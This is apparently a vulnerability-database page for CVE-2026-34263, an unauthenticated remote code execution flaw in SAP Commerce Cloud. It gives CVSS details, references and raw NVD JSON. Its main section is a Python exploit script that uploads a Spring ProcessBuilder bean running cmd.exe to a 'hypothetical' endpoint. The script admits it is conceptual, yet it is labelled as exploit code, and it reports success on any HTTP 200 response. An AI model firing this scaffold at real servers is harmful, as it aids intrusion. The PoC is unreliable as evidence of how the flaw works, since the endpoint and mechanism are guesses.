CVE-2026-34263

Description

Due to improper Spring Security configuration, SAP Commerce cloud allows an unauthenticated user to perform malicious configuration upload and code injection, resulting in arbitrary server-side code execution, leading to high impact on Confidentiality, Integrity, and Availability of the application.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP Commerce Cloud (具体版本需参考SAP Security Note 3733064)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
Conceptual Proof of Concept for CVE-2026-34263
Demonstrates the potential mechanism of uploading a malicious configuration
leading to code execution due to improper Spring Security configuration.
"""

import requests
import sys

# Target URL (Example)
TARGET_URL = "http://target-sap-commerce:8080"
UPLOAD_ENDPOINT = "/webservices/legacy/config/upload" # Hypothetical vulnerable endpoint

# Malicious configuration payload concept
# In a real scenario, this might be a Spring bean definition or a specific SAP configuration format
# that triggers dynamic class loading or script execution.
MALICIOUS_PAYLOAD = """
<bean id="maliciousBean" class="java.lang.ProcessBuilder">
    <constructor-arg>
        <list>
            <value>cmd.exe</value>
            <value>/c</value>
            <value>echo Vulnerable > C:\pwned.txt</value>
        </list>
    </constructor-arg>
    <property name="redirectErrorStream" value="true" />
</bean>
"""

def exploit(target):
    print(f"[*] Attempting to exploit {target}...")
    
    headers = {
        "User-Agent": "CVE-2026-34263-Scanner",
        "Content-Type": "application/xml"
    }
    
    try:
        # Step 1: Upload malicious configuration
        print("[*] Sending malicious configuration payload...")
        response = requests.post(
            f"{target}{UPLOAD_ENDPOINT}", 
            data=MALICIOUS_PAYLOAD, 
            headers=headers, 
            timeout=10
        )
        
        if response.status_code == 200:
            print("[+] Upload successful! Configuration accepted.")
            print("[+] Check if code execution occurred (e.g., file creation).")
        else:
            print(f"[-] Upload failed. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
            
    except Exception as e:
        print(f"[!] Error during exploitation: {e}")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        exploit(sys.argv[1])
    else:
        print("Usage: python3 poc.py <target_url>")
        print("Example: python3 poc.py http://127.0.0.1:8080")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34263
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34263
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34263/
[4] VulDB https://vuldb.com/cve/CVE-2026-34263
[5] https://me.sap.com/notes/3733064
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34263", "sourceIdentifier": "[email protected]", "published": "2026-05-12T03:16:11.650", "lastModified": "2026-05-12T03:16:11.650", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to improper Spring Security configuration, SAP Commerce cloud allows an unauthenticated user to perform malicious configuration upload and code injection, resulting in arbitrary server-side code execution, leading to high impact on Confidentiality, Integrity, and Availability of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-459"}]}], "references": [{"url": "https://me.sap.com/notes/3733064", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}